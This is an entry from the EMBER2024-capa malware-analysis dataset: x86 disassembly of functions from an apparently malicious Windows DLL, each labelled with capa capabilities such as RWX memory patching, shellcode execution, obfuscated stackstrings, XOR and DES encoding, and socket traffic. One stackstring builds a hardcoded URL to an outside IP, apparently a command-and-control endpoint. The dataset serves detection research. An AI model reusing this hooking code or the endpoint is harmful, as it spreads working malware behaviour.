joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10014981
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x38
push esi
xor esi, esi
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push 0x1c
mov dword [ebp - 0x14], eax
lea eax, [ebp - 0x38]
push esi
push eax
mov dword [ebp - 4], esi
mov dword [ebp - 0x10], esi
mov dword [ebp - 0xc], esi
call sub.MSVCRT.dll_memset
mov ecx, dword [ebp - 0x2c]
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x38]
push eax
mov eax, dword [ebp - 0x38]
add ecx, eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
je 0x10014ac4
push edi
jmp 0x100149ce
xor esi, esi
mov eax, dword [ebp - 0x34]
cmp eax, esi
je 0x10014aa6
cmp dword [ebp - 0x24], 0x20
jne 0x10014aa6
cmp dword [ebp - 0x20], 0x1000000
jne 0x10014aa6
cmp dword [ebp - 0xc], eax
je 0x10014a03
xor ecx, ecx
cmp eax, dword [ebp - 0x14]
mov dword [ebp - 0xc], eax
sete cl
mov dword [ebp - 4], ecx
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x2c]
add ecx, eax
cmp dword [ebp - 4], esi
mov dword [ebp - 0x18], ecx
je 0x10014aa9
mov esi, eax
lea ecx, [eax + 0x40]
sub esi, ebx
mov dword [ebp - 8], ecx
add esi, 0x3c
jmp 0x10014a29
mov eax, dword [ebp - 0x38]
mov ecx, dword [ebp - 0x18]
cmp dword [ebp - 8], ecx
ja 0x10014aa9
push 0x40
push dword [ebp + 8]
lea edi, [ebx + esi - 0x3c]
push edi
call sub.MSVCRT.dll_memcmp
add esp, 0xc
test eax, eax
jne 0x10014a9c
lea eax, [ebp - 0x1c]
push eax
push 0x40
push dword [ebp - 0x2c]
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x10014a9c
mov eax, dword [ebp + 0xc]
sub eax, edi
lea eax, [eax + ebx - 0x40]
push ebx
mov dword [esi], eax
lea eax, [esi + 4]
push 0x90
push eax
mov byte [esi - 1], 0xe8
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp - 0x1c]
push eax
push dword [ebp - 0x24]
mov dword [ebp - 0x10], 1
push dword [ebp - 0x2c]
push dword [ebp - 0x38]
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
and dword [ebp - 4], 0
inc dword [ebp - 8]
inc esi
cmp dword [ebp - 4], 0
jne 0x10014a26
mov eax, dword [ebp - 0x38]
push 0x1c
lea ecx, [ebp - 0x38]
push ecx
mov ecx, dword [ebp - 0x2c]
add ecx, eax
push ecx
call dword [sym.imp.KERNEL32.dll_VirtualQuery]
test eax, eax
jne 0x100149cc
pop edi
mov eax, dword [ebp - 0x10]
pop esi
leave
ret
Function at 0x10014aca
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x28
push esi
xor eax, eax
push 0x1c
push eax
mov dword [ebp - 8], eax
mov dword [ebp - 4], eax
lea eax, [ebp - 0x28]
push eax
call sub.MSVCRT.dll_memset
mov ecx, dword [ebp - 0x1c]
mov esi, dword [sym.imp.KERNEL32.dll_VirtualQuery]
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x28]
push eax
mov eax, dword [ebp - 0x28]
add ecx, eax
push ecx
call esi
test eax, eax
je 0x10014b7f
push ebx
mov ebx, dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov eax, dword [ebp - 0x24]
test eax, eax
je 0x10014b69
cmp dword [ebp - 0x14], 0x20
je 0x10014b1d
cmp dword [ebp - 0x14], 0x10
jne 0x10014b69
cmp dword [ebp - 0x10], 0x1000000
jne 0x10014b69
cmp dword [ebp - 4], eax
je 0x10014b69
cmp eax, edi
mov dword [ebp - 4], eax
ja 0x10014b69
mov ecx, dword [ebp - 0x1c]
add eax, ecx
lea edx, [edi + 4]
cmp edx, eax
ja 0x10014b69
lea eax, [ebp - 0xc]
push eax
push 0x40
push ecx
push dword [ebp - 0x28]
call ebx
test eax, eax
je 0x10014b69
mov eax, dword [ebp + 8]
mov dword [edi], eax
lea eax, [ebp - 0xc]
push eax
push dword [ebp - 0x14]
mov dword [ebp - 8], 1
push dword [ebp - 0x1c]
push dword [ebp - 0x28]
call ebx
mov ecx, dword [ebp - 0x1c]
push 0x1c
lea eax, [ebp - 0x28]
push eax
mov eax, dword [ebp - 0x28]
add ecx, eax
push ecx
call esi
test eax, eax
jne 0x10014b0a
pop ebx
mov eax, dword [ebp - 8]
pop esi
leave
ret
Function at 0x10017b6c
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
mov al, 0xff
push ebx
mov byte [ebp - 0x40], al
mov byte [ebp - 0x3b], al
mov byte [ebp - 0x3a], al
mov byte [ebp - 0x27], al
mov byte [ebp - 0x26], al
mov byte [ebp - 0x1e], al
mov byte [ebp - 0x1d], al
mov byte [ebp - 0x15], al
mov byte [ebp - 0x14], al
push 0x10017b3d
lea eax, [ebp - 0x40]
push eax
push 0xb
pop ebx
mov byte [ebp - 0x3f], 0x8b
mov byte [ebp - 0x3e], 0x85
mov byte [ebp - 0x3d], 0x60
mov byte [ebp - 0x3c], 0xfb
mov byte [ebp - 0x39], 0x3b
mov byte [ebp - 0x38], 5
mov byte [ebp - 0x37], 0x84
mov byte [ebp - 0x36], 0x5d
mov byte [ebp - 0x35], 0xea
mov byte [ebp - 0x34], 1
mov byte [ebp - 0x33], 0x74
mov byte [ebp - 0x32], 0x7e
mov byte [ebp - 0x31], 0x8b
mov byte [ebp - 0x30], 0x40
mov byte [ebp - 0x2f], 0x10
mov byte [ebp - 0x2e], 0x8b
mov byte [ebp - 0x2d], 0x48
mov byte [ebp - 0x2c], 8
mov byte [ebp - 0x2b], 0x89
mov byte [ebp - 0x2a], 0x8d
mov byte [ebp - 0x29], 0x78
mov byte [ebp - 0x28], 0xfb
mov byte [ebp - 0x25], 0x8b
mov byte [ebp - 0x24], 0x50
mov byte [ebp - 0x23], 0xc
mov byte [ebp - 0x22], 0x89
mov byte [ebp - 0x21], 0x95
mov byte [ebp - 0x20], 0x7c
mov byte [ebp - 0x1f], 0xfb
mov byte [ebp - 0x1c], 0xdb
mov byte [ebp - 0x1b], 0x40
mov byte [ebp - 0x1a], 0x10
mov byte [ebp - 0x19], 0xd9
mov byte [ebp - 0x18], 0x9d
mov byte [ebp - 0x17], 0x80
mov byte [ebp - 0x16], 0xfb
mov byte [ebp - 0x13], 0x8b
mov byte [ebp - 0x12], 0x48
mov byte [ebp - 0x11], 0x14
mov byte [ebp - 0x10], 0xf7
mov byte [ebp - 0xf], 0xd9
mov byte [ebp - 0xe], 0x1b
mov byte [ebp - 0xd], 0xc9
mov byte [ebp - 0xc], 0x81
mov byte [ebp - 0xb], 0xe1
mov byte [ebp - 0xa], 0
mov byte [ebp - 9], 0xfa
mov byte [ebp - 8], 0xa
mov byte [ebp - 7], 0
mov byte [ebp - 6], 0x81
mov byte [ebp - 5], 0xc1
mov byte [ebp - 4], 0x4d
mov byte [ebp - 3], 0x50
mov byte [ebp - 2], 0x45
mov byte [ebp - 1], 0x47
call fcn.10014981
pop ecx
pop ecx
pop ebx
leave
ret
Function at 0x10017fb6
Capabilities:
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x43c
push ebx
push esi
push edi
xor ebx, ebx
push ebx
push dword [ebp + 8]
call fcn.100044a0
cmp eax, ebx
pop ecx
pop ecx
mov dword [esp + 0x18], eax
je 0x100181b8
push dword [eax]
call fcn.10003d1b
cmp eax, ebx
pop ecx
mov dword [esp + 0x14], eax
je 0x100181af
push dword [eax]
mov esi, dword [eax + 4]
call fcn.10003f87
pop ecx
push 3
pop esi
push 8
mov edi, eax
lea eax, [esp + 0x28]
push str.._hxgNh
push eax
mov dword [esp + 0x2c], vtable.McbDESImpl_0_.0
mov dword [esp + 0x40], ebx
mov dword [esp + 0x44], ebx
mov dword [esp + 0x48], ebx
mov byte [esp + 0x4c], 1
mov byte [esp + 0x4e], 1
mov byte [esp + 0x4f], 1
mov dword [esp + 0x50], esi
call sub.MSVCRT.dll_memcpy
add esp, 0xc
push 8
lea eax, [esp + 0x30]
push str._p_Mv
push eax
call sub.MSVCRT.dll_memcpy
mov ecx, dword [edi + 4]
add esp, 0xc
cmp ecx, 0xe
jl 0x100181c1
mov eax, dword [edi]
cmp dword [eax], 0x58455241
jne 0x100181c1
cmp dword [eax + 4], 0x1d
jne 0x100181c1
cmp dword [eax + 8], esi
jne 0x100181c1
movzx edx, word [eax + 0xc]
lea esi, [edx + 0xe]
cmp esi, ecx
jg 0x100181c1
push ebx
add eax, 0xe
push edx
push eax
lea eax, [esp + 0x2c]
call fcn.1001e646
test al, al
je 0x100181c1
push dword [esp + 0x3c]
lea eax, [esp + 0x4c]
push dword [esp + 0x38]
lea esi, [esp + 0x18]
push eax
mov dword [esp + 0x1c], 0x400
call fcn.100011ba
add esp, 0xc
test eax, eax
je 0x100181c1
cmp dword [esp + 0x10], 0x30
jb 0x100181c1
xor ecx, ecx
inc ecx
cmp dword [esp + 0x71], ecx
jne 0x100181c1
movzx eax, byte [esp + 0x77]
lea edx, [eax + 0x31]
cmp edx, dword [esp + 0x10]
ja 0x100181c1
movzx edx, byte [esp + eax + 0x78]
add eax, edx
lea edx, [eax + 0xcb]
cmp edx, dword [esp + 0x10]
jne 0x100181c1
mov esi, dword [esp + eax + 0x10e]
test esi, esi
movzx ebx, word [esp + 0x75]
mov dword [esp + 0x10], ecx
mov ecx, dword [esp + 0x65]
mov dword [esp + 0x1c], ecx
je 0x1001817f
cmp esi, dword [0x1005ab8c]
jne 0x1001817f
cmp ecx, dword [0x1005ab88]
jne 0x1001817f
movzx eax, word [esp + 0x75]
cmp eax, dword [0x1005ab90]
jne 0x1001817f
push edi
push dword [esp + 0x79]
push esi
push ecx
call fcn.10017c82
add esp, 0x10
test eax, eax
jne 0x10018178
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
push edi
push ebx
push esi
push dword [esp + 0x28]
call fcn.10017c82
add esp, 0x10
test eax, eax
je 0x1001817f
mov esi, eax
call fcn.10004019
xor ebx, ebx
mov esi, edi
call fcn.10004019
mov edi, dword [esp + 0x14]
call fcn.10003daf
test eax, eax
je 0x1001819e
cmp dword [esp + 0x10], ebx
je 0x1001819e
xor ebx, ebx
inc ebx
lea esi, [esp + 0x20]
mov dword [esp + 0x20], vtable.McbDESImpl_0_.0
call fcn.1001e61f
mov esi, dword [esp + 0x18]
call fcn.10003ff1
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
mov dword [esp + 0x10], ebx
jmp 0x10018181
Function at 0x100181df
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x40
xor al, al
push ebx
mov byte [ebp - 0x40], al
mov byte [ebp - 0x34], al
mov byte [ebp - 0x29], al
mov byte [ebp - 0x26], al
mov byte [ebp - 0x25], al
mov byte [ebp - 0x24], al
mov byte [ebp - 0x1e], al
mov byte [ebp - 9], al
lea eax, [ebp - 0x40]
push 0x100181c7
push eax
xor ebx, ebx
mov byte [ebp - 0x3f], 0xa3
mov byte [ebp - 0x3e], 0xf8
mov byte [ebp - 0x3d], 0xa8
mov byte [ebp - 0x3c], 0x85
mov byte [ebp - 0x3b], 1
mov byte [ebp - 0x3a], 0xeb
mov byte [ebp - 0x39], 0x15
mov byte [ebp - 0x38], 0x68
mov byte [ebp - 0x37], 0x90
mov byte [ebp - 0x36], 0x63
mov byte [ebp - 0x35], 0xc1
mov byte [ebp - 0x33], 0x8d
mov byte [ebp - 0x32], 0x8d
mov byte [ebp - 0x31], 0x90
mov byte [ebp - 0x30], 0xfd
mov byte [ebp - 0x2f], 0xff
mov byte [ebp - 0x2e], 0xff
mov byte [ebp - 0x2d], 0xe8
mov byte [ebp - 0x2c], 0xd2
mov byte [ebp - 0x2b], 0x9a
mov byte [ebp - 0x2a], 0x22
mov byte [ebp - 0x28], 0xbe
mov byte [ebp - 0x27], 1
mov byte [ebp - 0x23], 0x8b
mov byte [ebp - 0x22], 0xd
mov byte [ebp - 0x21], 0x24
mov byte [ebp - 0x20], 0x2b
mov byte [ebp - 0x1f], 0xd4
mov byte [ebp - 0x1d], 0x85
mov byte [ebp - 0x1c], 0xc9
mov byte [ebp - 0x1b], 0x74
mov byte [ebp - 0x1a], 0x19
mov byte [ebp - 0x19], 0x8b
mov byte [ebp - 0x18], 0x85
mov byte [ebp - 0x17], 0x90
mov byte [ebp - 0x16], 0xfd
mov byte [ebp - 0x15], 0xff
mov byte [ebp - 0x14], 0xff
mov byte [ebp - 0x13], 0x8b
mov byte [ebp - 0x12], 0x15
mov byte [ebp - 0x11], 0xd4
mov byte [ebp - 0x10], 0x38
mov byte [ebp - 0xf], 0x86
mov byte [ebp - 0xe], 1
mov byte [ebp - 0xd], 0x83
mov byte [ebp - 0xc], 0x7c
mov byte [ebp - 0xb], 2
mov byte [ebp - 0xa], 0xf8
mov byte [ebp - 8], 0x74
mov byte [ebp - 7], 6
mov byte [ebp - 6], 0x50
mov byte [ebp - 5], 0xe8
mov byte [ebp - 4], 0xda
mov byte [ebp - 3], 0x22
mov byte [ebp - 2], 0xfe
mov byte [ebp - 1], 0xff
call fcn.10014981
pop ecx
pop ecx
pop ebx
leave
ret
Function at 0x100182f5
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
mov eax, dword [0x1005bb94]
push esi
push dword [eax]
mov eax, dword [0x1005bb78]
push dword [eax]
lea eax, [ebp - 0x2c]
push eax
push str._s_key_slanguage_s
mov esi, 0x1005b988
push esi
mov byte [ebp - 0x2c], 0x68
mov byte [ebp - 0x2b], 0x74
mov byte [ebp - 0x2a], 0x74
mov byte [ebp - 0x29], 0x70
mov byte [ebp - 0x28], 0x3a
mov byte [ebp - 0x27], 0x2f
mov byte [ebp - 0x26], 0x2f
mov byte [ebp - 0x25], 0x31
mov byte [ebp - 0x24], 0x33
mov byte [ebp - 0x23], 0x38
mov byte [ebp - 0x22], 0x2e
mov byte [ebp - 0x21], 0x32
mov byte [ebp - 0x20], 0x30
mov byte [ebp - 0x1f], 0x31
mov byte [ebp - 0x1e], 0x2e
mov byte [ebp - 0x1d], 0x33
mov byte [ebp - 0x1c], 0x34
mov byte [ebp - 0x1b], 0x2e
mov byte [ebp - 0x1a], 0x37
mov byte [ebp - 0x19], 0x31
mov byte [ebp - 0x18], 0x2f
mov byte [ebp - 0x17], 0x73
mov byte [ebp - 0x16], 0x65
mov byte [ebp - 0x15], 0x72
mov byte [ebp - 0x14], 0x76
mov byte [ebp - 0x13], 0x69
mov byte [ebp - 0x12], 0x63
mov byte [ebp - 0x11], 0x65
mov byte [ebp - 0x10], 0x73
mov byte [ebp - 0xf], 0x2f
mov byte [ebp - 0xe], 0x72
mov byte [ebp - 0xd], 0x65
mov byte [ebp - 0xc], 0x74
mov byte [ebp - 0xb], 0x75
mov byte [ebp - 0xa], 0x72
mov byte [ebp - 9], 0x6e
mov byte [ebp - 8], 0x30
mov byte [ebp - 7], 0x31
mov byte [ebp - 6], 0x2e
mov byte [ebp - 5], 0x70
mov byte [ebp - 4], 0x68
mov byte [ebp - 3], 0x70
mov byte [ebp - 2], 0
call dword [sym.imp.USER32.dll_wsprintfA]
mov eax, dword [0xd41980]
add esp, 0x14
mov dword [eax + 0x730], esi
pop esi
leave
ret

Function at 0x10019b49
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ecx
movzx eax, word [esi + 0x10]
push ebx
xor ebx, ebx
cmp ax, bx
push edi
mov dword [ebp - 8], ebx
mov dword [ebp - 4], ebx
je 0x10019b90
mov eax, dword [esi + 0xc]
imul eax, eax, 0x20080825
push 0xdff6dffa
push 0xe689e67e
mov edi, 0xa20191cb
sub edi, eax
push ebx
push edi
mov dword [esi + 0xc], edi
call fcn.10040e10
and edi, 7
mov dword [ebp - 8], eax
mov dword [ebp - 4], edx
mov ebx, edi
movzx eax, word [esi + 0x10]
lea ecx, [eax + ebx + 4]
shr ecx, 4
lea edi, [esi + 0x1010]
mov byte [edi], cl
mov cl, byte [esi + 0x10]
add cl, bl
add cl, 4
and cl, 0xf
mov byte [esi + 0x1011], cl
mov cx, word [esi + 0x12]
xor cx, word [edi]
xor edx, edx
xor cx, 0x4000
test ax, ax
mov word [esi + 0x1012], cx
jbe 0x10019beb
movzx eax, dx
lea ecx, [eax + esi]
and eax, 3
mov al, byte [eax + esi + 0xc]
xor al, byte [ecx + 0x14]
inc edx
mov byte [ecx + 0x1014], al
cmp dx, word [esi + 0x10]
jb 0x10019bce
push ebx
lea eax, [ebp - 8]
push eax
movzx eax, word [esi + 0x10]
lea eax, [eax + esi + 0x1014]
push eax
call sub.MSVCRT.dll_memcpy
movzx eax, word [esi + 0x10]
push edi
push dword [ebp + 8]
lea eax, [eax + ebx + 4]
call fcn.10025658
add esp, 0x14
pop edi
pop ebx
leave
ret
Function at 0x1001e93d
Capabilities:
Encode data using xor

Disassembly:
push ebp
lea ebp, [esp - 0x6c]
sub esp, 0x94
push ebx
push esi
push edi
push 8
mov edi, eax
lea eax, [ebp - 0x28]
push 0
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0x28]
push eax
push dword [ebp + 0x74]
push 0x40
push 0x10057a98
call fcn.1001eb71
add esp, 0x1c
cmp dword [ebp + 0x7c], 0
push 0x10
lea esi, [ebp - 0x24]
pop ebx
je 0x1001e9ad
mov eax, dword [esi]
mov dword [esi + 4], eax
lea eax, [ebp + 0x68]
push eax
push edi
push esi
call fcn.1001ebde
add esp, 0xc
xor eax, eax
add esi, 8
mov cl, byte [esi + eax - 0xc]
xor cl, byte [ebp + eax + 0x68]
mov byte [esi + eax], cl
inc eax
cmp eax, 4
jl 0x1001e994
add edi, 6
dec ebx
jne 0x1001e97c
jmp 0x1001e9df
add edi, 0x5a
mov eax, dword [esi]
mov dword [esi + 4], eax
lea eax, [ebp + 0x68]
push eax
push edi
push esi
call fcn.1001ebde
add esp, 0xc
xor eax, eax
add esi, 8
mov cl, byte [esi + eax - 0xc]
xor cl, byte [ebp + eax + 0x68]
mov byte [esi + eax], cl
inc eax
cmp eax, 4
jl 0x1001e9c8
sub edi, 6
dec ebx
jne 0x1001e9b0
pop edi
pop esi
xor eax, eax
pop ebx
mov cl, byte [ebp + eax + 0x5c]
mov byte [ebp + eax + 0x60], cl
mov cl, byte [ebp + eax + 0x58]
mov byte [ebp + eax + 0x64], cl
inc eax
cmp eax, 4
jl 0x1001e9e4
push 8
push 0
push dword [ebp + 0x78]
call sub.MSVCRT.dll_memset
push dword [ebp + 0x78]
lea eax, [ebp + 0x60]
push eax
push 0x40
push 0x10057a58
call fcn.1001eb71
add esp, 0x1c
add ebp, 0x6c
leave
ret
Function at 0x1001ea21
Capabilities:
Encrypt data using des

Disassembly:
push ebp
lea ebp, [esp - 0x70]
sub esp, 0x98
push ebx
push esi
push edi
push 7
xor edi, edi
lea eax, [ebp + 0x68]
push edi
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp + 0x68]
push eax
push dword [ebp + 0x78]
push 0x38
push str.80_
call fcn.1001eb71
movzx edx, byte [ebp + 0x69]
movzx eax, byte [ebp + 0x6b]
xor ecx, ecx
mov ch, byte [ebp + 0x68]
xor esi, esi
add esp, 0x1c
inc esi
or ecx, edx
movzx edx, byte [ebp + 0x6a]
shl ecx, 8
or ecx, edx
mov edx, eax
shl ecx, 4
shr edx, 4
or ecx, edx
and eax, 0xf
shl eax, 8
mov dword [ebp - 0x28], ecx
movzx ecx, byte [ebp + 0x6c]
or eax, ecx
movzx ecx, byte [ebp + 0x6d]
shl eax, 8
or eax, ecx
movzx ecx, byte [ebp + 0x6e]
shl eax, 8
or eax, ecx
mov edx, 0x10057ad8
mov dword [ebp - 0x24], eax
lea eax, [ebp - 0x24]
dec edx
cmp byte [edx + esi], 2
mov ecx, dword [eax - 4]
mov ebx, ecx
jne 0x1001eacd
sar ebx, 0x1a
and ebx, 3
shl ecx, 2
or ebx, ecx
mov ecx, dword [eax]
mov dword [eax + 4], ebx
mov ebx, ecx
sar ebx, 0x1a
and ebx, 3
shl ecx, 2
jmp 0x1001eae6
sar ebx, 0x1b
and ebx, 1
add ecx, ecx
or ebx, ecx
mov ecx, dword [eax]
mov dword [eax + 4], ebx
mov ebx, ecx
sar ebx, 0x1b
and ebx, 1
add ecx, ecx
or ebx, ecx
mov dword [eax + 8], ebx
inc esi
add eax, 8
cmp esi, 0x11
jl 0x1001eaa5
mov ebx, dword [ebp + 0x7c]
push 0x60
push edi
push ebx
call sub.MSVCRT.dll_memset
add esp, 0xc
lea eax, [ebp + edi*8 - 0x20]
mov ecx, dword [eax]
mov al, byte [eax]
mov edx, ecx
sar edx, 0x14
mov byte [ebp + 0x60], dl
mov edx, ecx
sar ecx, 4
sar edx, 0xc
mov byte [ebp + 0x62], cl
lea ecx, [ebp + edi*8 - 0x1c]
mov esi, dword [ecx]
mov byte [ebp + 0x61], dl
shl al, 4
mov edx, esi
sar edx, 0x18
and dl, 0xf
or dl, al
mov eax, esi
sar eax, 0x10
mov byte [ebp + 0x64], al
mov eax, esi
sar eax, 8
mov byte [ebp + 0x65], al
mov al, byte [ecx]
mov byte [ebp + 0x66], al
push ebx
lea eax, [ebp + 0x60]
push eax
push 0x30
push 0x10057ae8
mov byte [ebp + 0x63], dl
call fcn.1001eb71
add esp, 0x10
inc edi
add ebx, 6
cmp edi, 0x10
jl 0x1001eb03
pop edi
pop esi
pop ebx
add ebp, 0x70
leave
ret
Function at 0x1001ebde
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
push 4
lea eax, [ebp - 4]
push 0
push eax
call sub.MSVCRT.dll_memset
push 6
lea eax, [ebp - 0xc]
push 0
push eax
call sub.MSVCRT.dll_memset
lea eax, [ebp - 0xc]
push eax
push dword [ebp + 8]
push 0x30
push 0x10057b18
call fcn.1001eb71
mov edi, dword [ebp + 0xc]
lea eax, [ebp - 0xc]
add esp, 0x28
xor ecx, ecx
sub edi, eax
lea eax, [ebp + ecx - 0xc]
mov dl, byte [edi + eax]
xor byte [eax], dl
inc ecx
cmp ecx, 6
jl 0x1001ec1f
mov al, byte [ebp - 0xc]
push 0
shr al, 2
call fcn.1001ed05
mov cl, byte [ebp - 0xb]
shl al, 4
or byte [ebp - 4], al
mov al, byte [ebp - 0xc]
and al, 3
shl al, 4
shr cl, 4
push 1
or al, cl
call fcn.1001ed05
or byte [ebp - 4], al
mov al, byte [ebp - 0xb]
mov cl, byte [ebp - 0xa]
and al, 0xf
shl al, 2
shr cl, 6
push 2
or al, cl
call fcn.1001ed05
shl al, 4
or byte [ebp - 3], al
mov al, byte [ebp - 0xa]
push 3
and al, 0x3f
call fcn.1001ed05
or byte [ebp - 3], al
mov al, byte [ebp - 9]
push 4
shr al, 2
call fcn.1001ed05
mov cl, byte [ebp - 8]
shl al, 4
or byte [ebp - 2], al
mov al, byte [ebp - 9]
and al, 3
shl al, 4
shr cl, 4
push 5
or al, cl
call fcn.1001ed05
or byte [ebp - 2], al
mov al, byte [ebp - 8]
mov cl, byte [ebp - 7]
and al, 0xf
shl al, 2
shr cl, 6
push 6
or al, cl
call fcn.1001ed05
shl al, 4
or byte [ebp - 1], al
mov al, byte [ebp - 7]
push 7
and al, 0x3f
call fcn.1001ed05
or byte [ebp - 1], al
push 4
push 0
push dword [ebp + 0x10]
call sub.MSVCRT.dll_memset
push dword [ebp + 0x10]
lea eax, [ebp - 4]
push eax
push 0x20
push 0x10057b48
call fcn.1001eb71
add esp, 0x3c
pop edi
leave
ret
Function at 0x100254a5
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x60
and word [ebp - 0x30], 0
push ebx
push esi
push edi
push 0x69
pop edi
push 0x6e
pop ebx
push 0x1a
mov word [ebp - 0x60], 0x41
mov word [ebp - 0x5e], 0x6c
mov word [ebp - 0x5c], di
mov word [ebp - 0x5a], 0x63
mov word [ebp - 0x58], di
mov word [ebp - 0x56], 0x61
mov word [ebp - 0x54], 0x4f
mov word [ebp - 0x52], bx
mov word [ebp - 0x50], 0x6c
mov word [ebp - 0x4e], di
mov word [ebp - 0x4c], bx
mov word [ebp - 0x4a], 0x65
mov word [ebp - 0x48], 0x5c
mov word [ebp - 0x46], 0x53
mov word [ebp - 0x44], 0x65
mov word [ebp - 0x42], 0x74
mov word [ebp - 0x40], 0x75
mov word [ebp - 0x3e], 0x70
mov word [ebp - 0x3c], 0x5c
mov word [ebp - 0x3a], 0x37
mov word [ebp - 0x38], 0x2e
mov word [ebp - 0x36], 0x64
mov word [ebp - 0x34], 0x61
mov word [ebp - 0x32], 0x74
call fcn.10004bc7
mov esi, eax
push 0
push esi
lea eax, [ebp - 0x60]
mov dword [ebp - 4], esi
call fcn.10004241
add esp, 0xc
push 0x32
pop ecx
lea eax, [ebp - 0x60]
mov byte [eax], 0
inc eax
dec ecx
jne 0x1002555f
push dword [esi]
call fcn.10002dc4
test eax, eax
pop ecx
je 0x10025593
mov ecx, dword [0x1005bb90]
mov esi, dword [eax + 4]
mov edx, dword [ecx + 4]
mov dword [ecx + 4], esi
mov esi, dword [eax]
mov dword [eax + 4], edx
mov edx, dword [ecx]
mov dword [ecx], esi
mov esi, eax
mov dword [eax], edx
call fcn.10004019
mov esi, dword [ebp - 4]
call fcn.10003ff1
and word [ebp - 8], 0
lea eax, [ebp - 0x2c]
push eax
mov word [ebp - 0x2c], 0x41
mov word [ebp - 0x2a], 0x6c
mov word [ebp - 0x28], di
mov word [ebp - 0x26], 0x63
mov word [ebp - 0x24], di
mov word [ebp - 0x22], 0x61
mov word [ebp - 0x20], 0x5f
mov word [ebp - 0x1e], 0x4f
mov word [ebp - 0x1c], bx
mov word [ebp - 0x1a], 0x6c
mov word [ebp - 0x18], di
mov word [ebp - 0x16], bx
mov word [ebp - 0x14], 0x65
mov word [ebp - 0x12], 0x5f
mov word [ebp - 0x10], 0x53
mov word [ebp - 0xe], 0x68
mov word [ebp - 0xc], 0x6f
mov word [ebp - 0xa], 0x70
call fcn.10004872
pop ecx
push 0x26
mov ebx, eax
pop ecx
lea eax, [ebp - 0x2c]
mov byte [eax], 0
inc eax
dec ecx
jne 0x10025614
cmp dword [ebx + 4], 0
je 0x10025649
push dword [ebx]
call fcn.10003d1b
test eax, eax
pop ecx
mov dword [ebp - 4], eax
je 0x10025649
push dword [eax]
mov edi, dword [eax + 4]
mov esi, dword [0x1005bb90]
call fcn.10004095
mov edi, dword [ebp - 4]
pop ecx
call fcn.10003daf
mov esi, ebx
call fcn.10003ff1
pop edi
xor eax, eax
pop esi
inc eax
pop ebx
leave
ret

Function at 0x10025658
Capabilities:
Send data
Send data on socket

Disassembly:
push esi
push edi
mov edi, eax
xor esi, esi
jmp 0x1002568a
cmp edi, 0x1000
mov eax, 0x1000
jg 0x1002566f
mov eax, edi
push 0
push eax
mov eax, dword [esp + 0x18]
add eax, esi
push eax
push dword [esp + 0x18]
call sub.WS2_32.dll_send
test eax, eax
jle 0x10025694
sub edi, eax
add esi, eax
test edi, edi
jne 0x10025660
xor eax, eax
inc eax
pop edi
pop esi
ret
xor eax, eax
jmp 0x10025691
Function at 0x10025698
Capabilities:
Receive data
Receive data on socket

Disassembly:
push esi
push edi
mov edi, eax
xor esi, esi
jmp 0x100256ca
cmp edi, 0x1000
mov eax, 0x1000
jg 0x100256af
mov eax, edi
push 0
push eax
mov eax, dword [esp + 0x18]
add eax, esi
push eax
push dword [esp + 0x18]
call sub.WS2_32.dll_recv
test eax, eax
jle 0x100256d4
sub edi, eax
add esi, eax
test edi, edi
jne 0x100256a0
xor eax, eax
inc eax
pop edi
pop esi
ret
xor eax, eax
jmp 0x100256d1

Function at 0x10025746
Capabilities:
Receive data
Receive data on socket
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x402c
call fcn.10040e50
push ebx
push esi
push edi
lea eax, [ebp - 4]
push eax
mov edi, 0x4004667f
push edi
push dword [ebp + 8]
call sub.WS2_32.dll_ioctlsocket
test eax, eax
jne 0x100257e9
xor ebx, ebx
cmp dword [ebp - 4], ebx
je 0x100257f0
push ebx
push 0x4000
lea eax, [ebp - 0x4028]
push eax
push dword [ebp + 8]
call sub.WS2_32.dll_recv
mov esi, eax
cmp esi, ebx
jle 0x100257e9
mov eax, dword [ebp + 0x10]
mov ax, word [eax + 8]
mov word [ebp - 0x12], ax
mov eax, dword [ebp + 0x14]
mov dword [ebp - 0x10], eax
lea eax, [ebp - 0x24]
push eax
mov word [ebp - 0x14], si
mov dword [ebp - 0xc], ebx
mov dword [ebp - 8], ebx
call dword [sym.imp.KERNEL32.dll_GetLocalTime]
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x24]
push eax
call dword [sym.imp.KERNEL32.dll_SystemTimeToFileTime]
lea eax, [ebp - 0x4028]
push eax
push dword [ebp + 0xc]
mov eax, esi
call fcn.10025658
test eax, eax
pop ecx
pop ecx
je 0x100257e9
lea eax, [ebp - 4]
push eax
push edi
push dword [ebp + 8]
call sub.WS2_32.dll_ioctlsocket
test eax, eax
je 0x1002576e
xor eax, eax
pop edi
pop esi
pop ebx
leave
ret
lea eax, [ebp + 0x14]
push eax
mov esi, 0x8004667e
push esi
push dword [ebp + 8]
xor edi, edi
inc edi
mov dword [ebp + 0x14], edi
